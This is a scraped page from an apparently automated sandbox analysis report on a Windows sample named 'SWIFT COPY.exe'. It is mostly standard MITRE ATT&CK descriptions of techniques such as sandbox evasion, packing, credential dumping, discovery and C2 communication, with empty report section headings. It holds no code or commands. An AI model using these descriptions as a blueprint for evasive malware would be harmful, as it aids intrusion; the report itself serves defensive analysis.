Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SWIFT COPY.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SWIFT COPY.exe.log

C:\Users\user\AppData\Local\Temp\40F193-3PQ

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
SWIFT COPY.exe

Function 09D4A594 Relevance: 6.9, Strings: 5, Instructions: 622
COMMON

Function 099A2BE0 Relevance: 4.1, Strings: 3, Instructions: 327
COMMON

Function 099A2C10 Relevance: 4.1, Strings: 3, Instructions: 326
COMMON

Function 099A2CF8 Relevance: 4.0, Strings: 3, Instructions: 284
COMMON

Function 099A0AF2 Relevance: 4.0, Strings: 3, Instructions: 247
COMMON

Function 099A0B90 Relevance: 4.0, Strings: 3, Instructions: 219
COMMON

Function 099A9598 Relevance: 2.7, Strings: 2, Instructions: 224
COMMON

Function 099A958A Relevance: 2.7, Strings: 2, Instructions: 221
COMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre